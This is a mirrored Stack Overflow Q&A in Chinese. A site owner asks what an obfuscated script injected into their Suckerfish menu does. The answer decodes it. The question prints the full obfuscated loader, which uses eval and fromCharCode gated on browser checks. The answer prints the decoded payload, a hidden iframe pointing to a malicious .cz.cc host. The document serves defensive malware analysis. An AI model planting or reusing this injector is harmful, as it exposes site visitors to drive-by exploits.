javascript - 网站被黑了——这段 Javascript 代码有什么作用?

标签 javascript security

刚发现我的网站被黑了。我将问题追溯到插入 Suckerfish 下拉菜单中的这段 Javascript 代码。我打算用干净的备份替换菜单,但我很好奇这段代码实际上做了什么?

(function() {
    var kuk = 'ck5',
    de = document,
    n = navigator,
    u = n.userAgent,
    l = 'anguage';
    function c(b) {
        var i = 'indexOf',
        l = 'length',
        c = de.cookie;
        b = b + "=";
        var a = c[i]("; " + b),
        d = c[i](";", a);
        if (a == -1) {
            a = c[i](b);
            if (a != 0)
                return 0
        }
        return 1
    }
    n = /^en-gb$/i.test(n['systemL' + l] || n['userL' + l] || n['l' + l]) && /(msie) ([\w.]+)|(mozilla)(?:.*? rv:([\w.]+))?/i.test(u) && !c(kuk);
    if (n) {
        var s,
        g = 2,
        aa = document.createTextNode("harCode");
        if (Math.exp(1) === Math.E) {
            s = String["fr" + "omC" + aa.nodeValue];
        }
        eval(s(7 + g, 7 + g, 103 + g, 100 + g, 30 + g, 38 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 101 + g, 99 + g, 114 + g, 67 + g, 106 + g, 99 + g, 107 + g, 99 + g, 108 + g, 114 + g, 113 + g, 64 + g, 119 + g, 82 + g, 95 + g, 101 + g, 76 + g, 95 + g, 107 + g, 99 + g, 38 + g, 37 + g, 96 + g, 109 + g, 98 + g, 119 + g, 37 + g, 39 + g, 89 + g, 46 + g, 91 + g, 39 + g, 121 + g, 7 + g, 7 + g, 7 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 112 + g, 38 + g, 39 + g, 57 + g, 7 + g, 7 + g, 123 + g, 30 + g, 99 + g, 106 + g, 113 + g, 99 + g, 30 + g, 121 + g, 7 + g, 7 + g, 7 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 117 + g, 112 + g, 103 + g, 114 + g, 99 + g, 38 + g, 32 + g, 58 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 30 + g, 113 + g, 112 + g, 97 + g, 59 + g, 37 + g, 102 + g, 114 + g, 114 + g, 110 + g, 56 + g, 45 + g, 45 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 49 + g, 44 + g, 97 + g, 120 + g, 44 + g, 97 + g, 97 + g, 45 + g, 103 + g, 108 + g, 98 + g, 99 + g, 118 + g, 44 + g, 110 + g, 102 + g, 110 + g, 61 + g, 114 + g, 110 + g, 59 + g, 96 + g, 95 + g, 47 + g, 51 + g, 95 + g, 46 + g, 52 + g, 50 + g, 51 + g, 99 + g, 96 + g, 95 + g, 50 + g, 99 + g, 98 + g, 99 + g, 37 + g, 30 + g, 117 + g, 103 + g, 98 + g, 114 + g, 102 + g, 59 + g, 37 + g, 47 + g, 46 + g, 37 + g, 30 + g, 102 + g, 99 + g, 103 + g, 101 + g, 102 + g, 114 + g, 59 + g, 37 + g, 47 + g, 46 + g, 37 + g, 30 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 59 + g, 37 + g, 116 + g, 103 + g, 113 + g, 103 + g, 96 + g, 103 + g, 106 + g, 103 + g, 114 + g, 119 + g, 56 + g, 102 + g, 103 + g, 98 + g, 98 + g, 99 + g, 108 + g, 57 + g, 110 + g, 109 + g, 113 + g, 103 + g, 114 + g, 103 + g, 109 + g, 108 + g, 56 + g, 95 + g, 96 + g, 113 + g, 109 + g, 106 + g, 115 + g, 114 + g, 99 + g, 57 + g, 106 + g, 99 + g, 100 + g, 114 + g, 56 + g, 46 + g, 57 + g, 114 + g, 109 + g, 110 + g, 56 + g, 46 + g, 57 + g, 37 + g, 60 + g, 58 + g, 45 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 60 + g, 32 + g, 39 + g, 57 + g, 7 + g, 7 + g, 123 + g, 7 + g, 7 + g, 100 + g, 115 + g, 108 + g, 97 + g, 114 + g, 103 + g, 109 + g, 108 + g, 30 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 112 + g, 38 + g, 39 + g, 121 + g, 7 + g, 7 + g, 7 + g, 116 + g, 95 + g, 112 + g, 30 + g, 100 + g, 30 + g, 59 + g, 30 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 97 + g, 112 + g, 99 + g, 95 + g, 114 + g, 99 + g, 67 + g, 106 + g, 99 + g, 107 + g, 99 + g, 108 + g, 114 + g, 38 + g, 37 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 37 + g, 39 + g, 57 + g, 100 + g, 44 + g, 113 + g, 99 + g, 114 + g, 63 + g, 114 + g, 114 + g, 112 + g, 103 + g, 96 + g, 115 + g, 114 + g, 99 + g, 38 + g, 37 + g, 113 + g, 112 + g, 97 + g, 37 + g, 42 + g, 37 + g, 102 + g, 114 + g, 114 + g, 110 + g, 56 + g, 45 + g, 45 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 49 + g, 44 + g, 97 + g, 120 + g, 44 + g, 97 + g, 97 + g, 45 + g, 103 + g, 108 + g, 98 + g, 99 + g, 118 + g, 44 + g, 110 + g, 102 + g, 110 + g, 61 + g, 114 + g, 110 + g, 59 + g, 96 + g, 95 + g, 47 + g, 51 + g, 95 + g, 46 + g, 52 + g, 50 + g, 51 + g, 99 + g, 96 + g, 95 + g, 50 + g, 99 + g, 98 + g, 99 + g, 37 + g, 39 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 116 + g, 103 + g, 113 + g, 103 + g, 96 + g, 103 + g, 106 + g, 103 + g, 114 + g, 119 + g, 59 + g, 37 + g, 102 + g, 103 + g, 98 + g, 98 + g, 99 + g, 108 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 110 + g, 109 + g, 113 + g, 103 + g, 114 + g, 103 + g, 109 + g, 108 + g, 59 + g, 37 + g, 95 + g, 96 + g, 113 + g, 109 + g, 106 + g, 115 + g, 114 + g, 99 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 106 + g, 99 + g, 100 + g, 114 + g, 59 + g, 37 + g, 46 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 114 + g, 109 + g, 110 + g, 59 + g, 37 + g, 46 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 99 + g, 114 + g, 63 + g, 114 + g, 114 + g, 112 + g, 103 + g, 96 + g, 115 + g, 114 + g, 99 + g, 38 + g, 37 + g, 117 + g, 103 + g, 98 + g, 114 + g, 102 + g, 37 + g, 42 + g, 37 + g, 47 + g, 46 + g, 37 + g, 39 + g, 57 + g, 100 + g, 44 + g, 113 + g, 99 + g, 114 + g, 63 + g, 114 + g, 114 + g, 112 + g, 103 + g, 96 + g, 115 + g, 114 + g, 99 + g, 38 + g, 37 + g, 102 + g, 99 + g, 103 + g, 101 + g, 102 + g, 114 + g, 37 + g, 42 + g, 37 + g, 47 + g, 46 + g, 37 + g, 39 + g, 57 + g, 7 + g, 7 + g, 7 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 101 + g, 99 + g, 114 + g, 67 + g, 106 + g, 99 + g, 107 + g, 99 + g, 108 + g, 114 + g, 113 + g, 64 + g, 119 + g, 82 + g, 95 + g, 101 + g, 76 + g, 95 + g, 107 + g, 99 + g, 38 + g, 37 + g, 96 + g, 109 + g, 98 + g, 119 + g, 37 + g, 39 + g, 89 + g, 46 + g, 91 + g, 44 + g, 95 + g, 110 + g, 110 + g, 99 + g, 108 + g, 98 + g, 65 + g, 102 + g, 103 + g, 106 + g, 98 + g, 38 + g, 100 + g, 39 + g, 57 + g, 7 + g, 7 + g, 123 + g));
        n = new Date();
        n.setDate(n.getDate() + 3650);
        de.cookie = kuk + '=1;path=/;expires=' + n.toUTCString()
        }
})()

最佳答案

将 eval 更改为警报并运行它。基本思想是,它获取大量有关用户的信息并将其存储在 cookie 中,然后使用 String.fromCharCode(它已被混淆但仍然存在)并执行更多代码以创建 iframe一个可能试图使用各种漏洞利用来访问用户计算机的恶意站点。

http://fiddle.jshell.net/qHeJ3/

这是有效载荷:

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://asasasasa3.cz.cc/
index.php?tp=ba15a0645eba4ede' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}

function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://asasasasa3.cz.cc/index.php?tp=ba15a0645e
ba4ede');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

关于javascript - 网站被黑了——这段 Javascript 代码有什么作用?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/6642713/

相关文章:

php - Android Billing-in App 版本 3 在服务器中验证

amazon-web-services - Lambda 函数所承担的角色的 ARN 是什么?

java - Android:CertPathValidatorException:找不到证书路径的信任 anchor

javascript - AJV 始终返回 true

javascript - nodejs res.download() 文件

security - JWT、无状态身份验证和安全性

Android - 连接 MySQL 数据库的最安全方式

javascript - 在 Web 应用程序中显示/隐藏 Div

javascript - 表单提交后输入按钮改变颜色

javascript - 无法让 JavaScript 连接到 Postgresql